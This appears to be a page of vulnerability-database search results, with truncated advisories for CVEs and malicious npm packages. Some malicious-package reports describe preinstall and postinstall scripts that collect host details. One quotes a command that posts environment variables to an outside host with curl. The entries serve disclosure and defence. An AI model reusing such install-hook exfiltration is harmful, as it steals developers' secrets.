121610 matches found
CVE-2026-46300
Investigación en Seguridad y Aviso Legal Este repositorio es solo para fines educativos y de investigación de seguridad autorizada. Uso Permitido Comprender vulnerabilidades de seguridad y conceptos de explotación en entornos controlados máquinas virtuales locales, laboratorios aislados Estudiar...
EUVD-2026-94764
The Image Photo Gallery Final Tiles Grid WordPress plugin before 3.6.14 does not sanitise several gallery configuration values that can be overridden through its gallery shortcode before printing them into an inline script block, allowing users with contributor-level access and above to inject...
Satel Netco Design
ADVISORY SUMMARY Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary scripts in a user's browser, consume excessive system resources, enumerate files, create or modify files, and potentially execute arbitrary code. 2. RECOMMENDED PRACTICES CISA...
dirtycups
dirtycups.py Dirty CUPS es un escáner gratuito de CVE para Linux/Unix script en Python3 que permite validar si un objetivo es vulnerable a CVE-2024-47176. Este es un escáner de CUPS basado únicamente en sockets, tomado de cupsscanner.py de MalwareTech:...
Malicious code in hardhat-promised (npm)
[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...
MAL-2026-17662 Malicious code in hardhat-promised (npm)
[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...
CVE-2025-12163
CVE-2025-12163: Cross-Site Scripting Almacenado en el Plugin Omnipress de WordPress Tabla de Contenidos Resumen Detalles de la Vulnerabilidad Análisis Técnico Vector de Ataque Guía de Mitigación Métricas CVSS Referencias Contacto de Seguridad Resumen Vulnerabilidad de XSS Almacenado en el Plugin...
CVE-2021-4044
Script de verificación SSL Este repositorio contiene un script en Python que verifica la versión de OpenSSL en su sistema y prueba las conexiones SSL/TLS a un sitio web proporcionado por el usuario. El script está diseñado para identificar si el sistema está afectado por CVE-2021-4044 y para prob...
Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
MAL-2026-17654 Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
dns-zone-audit
Auditoría de Zona DNS Una herramienta de seguridad ligera basada en Bash para probar configuraciones incorrectas de transferencia de zona DNS AXFR, asociada con CVE-1999-0532. Este script consulta los servidores de nombres autoritativos para un dominio e intenta transferencias de zona completas. ...
Dolibarr <7.0.2 - Cross-Site Scripting
Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. id: CVE-2018-10095 info: name: Dolibarr 7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium...
CVE-2022-1388-F5-BIG-IP
CVE-2022-1388-F5-BIG-IP Place target.txt in the same directory and execute directly...
CLEANSTART-2026-OX66799 If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape...
CVE-2026-39826 affects multiple packages. If a trusted template author were to write a tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the block. See references for individual...
PT-2026-107976
ImageMagick before 7.1.2-31 contains a resource leak vulnerability that allows attackers to leave file pointers open by supplying a crafted magick script. Attackers can process malicious magick scripts to leak file descriptors, potentially exhausting resources and causing denial of service...
Wireshark 1.4.x < 1.4.9 Multiple Vulnerabilities (macOS)
The version of Wireshark installed on the remote macOS / Mac OS X host is prior to 1.4.9. It is, therefore, affected by multiple vulnerabilities as referenced in the wireshark-1.4.9 advisory. - Wireshark 1.6.x before 1.6.2 allows remote attackers to cause a denial of service application crash via...